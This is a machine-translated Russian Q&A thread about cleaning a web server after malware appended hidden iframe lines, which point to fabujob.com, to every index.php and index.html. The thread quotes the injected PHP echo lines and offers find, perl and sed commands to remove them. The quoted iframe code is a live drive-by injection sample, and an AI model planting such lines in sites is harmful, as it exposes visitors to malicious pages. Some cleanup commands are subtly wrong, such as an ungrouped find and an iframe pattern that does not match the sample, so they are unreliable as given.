Назад | Перейти на главную страницу

Найдите index.php и index.html и замените строку

Недавно на моем компьютере было какое-то вредоносное ПО, которое добавлялось ко всем index.php и index.html НА ВЕБ-СЕРВЕРЕ! следующие строки:

echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

Таким образом, параметр после "click =" всегда изменяется. Эти двое были только примерами.

Есть ли способ сделать это быстро и быстро?

.

.

РЕДАКТИРОВАТЬ: он находится на моем веб-сервере, поэтому нет смысла искать ...

один простой способ сделать это - использовать find и grep, а также perl для редактирования.

сначала создайте список имен файлов, которые были скомпрометированы:

find /path/to/web/site -name 'index.htm*' -o -name 'index.php' -print0 | \
  xargs -0 grep -l 'iframe src.*fabujob\.com' > /tmp/compromised-files.txt

Затем используйте perl для редактирования файлов и удаления эксплойта:

cat /tmp/compromised-files.txt | \
  xargs -d '\n' perl -n -i.BAK -e 'print unless m/fabujob\.com/i' 

(да, для педантов UUOC, это бесполезное использование Cat, но это упрощает чтение и понимание примера)

это удалит каждую строку, содержащую строку "fabujob.com" из каждого из скомпрометированных файлов. Он также будет хранить резервную копию каждого файла под именем filename.BAK, чтобы вы могли легко восстановить их, если что-то пойдет не так. вы должны удалить их, когда они вам больше не нужны.

этот сценарий perl основан на приведенном вами образце, который, по-видимому, указывает на то, что атака добавила целую строку, содержащую эксплойт, поэтому этот скрипт печатает каждую строку, ЗА ИСКЛЮЧЕНИЕМ тех, которые содержат URL-адрес эксплойта. если это не так, тогда вам придется придумать более подходящий сценарий :)

это общий метод, который можно использовать для автоматического редактирования пакета файлов. вы можете использовать любой код Perl для выполнения этой работы, а Perl обладает огромным набором возможностей манипулирования текстом.

Кстати, при выполнении такой работы ВСЕГДА делайте копию всего задействованного дерева каталогов и работайте над этим в первую очередь. Таким образом, не имеет значения, испортили ли вы скрипт редактирования perl ... просто выполните синхронизацию оригинала с рабочим каталогом. как только вы получите правильный сценарий, вы можете запустить его на реальных файлах.

sed и find должны вам помочь, но sed требуется время, чтобы изучить (достаточно, чтобы я не мог придумать возможную команду прямо сейчас).

Кроме того, существуют редакторы графического интерфейса, которые могут выполнять поиск и замену во всем дереве каталогов (например, Textmate на Mac). Затем вы должны использовать регулярное выражение для покрытия переменной части.

Пытаться regexxer или rpl тип инструменты. Вся их цель - замены всего проекта. Они поддерживают рекурсивные каталоги и позволяют выбирать типы файлов, к которым следует применить замену.

Предполагая, что домен всегда один и тот же и нигде не должен существовать законно:

find <documentroot> -name 'index.html' -or -name 'index.php' \
    -exec sed -i'.bak' '/fabujob\.com/d' {} \;

Оригиналы будут сохранены с расширением '.bak'. Вы можете просто использовать -i если вам не нужны резервные копии.

Если вы знаете, что в ваших документах нет тегов <iframe>, вы можете просто сделать

perl -i -n -e'print unless /<iframe>/' $(find . -name index.html)

Если у вас есть фреймы, вам нужно сделать ваше регулярное выражение более точным.

Флаг -i в Perl слишком часто упускается из виду. Это означает «редактировать на месте». Видеть http://petdance.com/perl/command-line-options.pdf для получения дополнительных примеров волшебства, которое можно сделать на Perl из командной строки.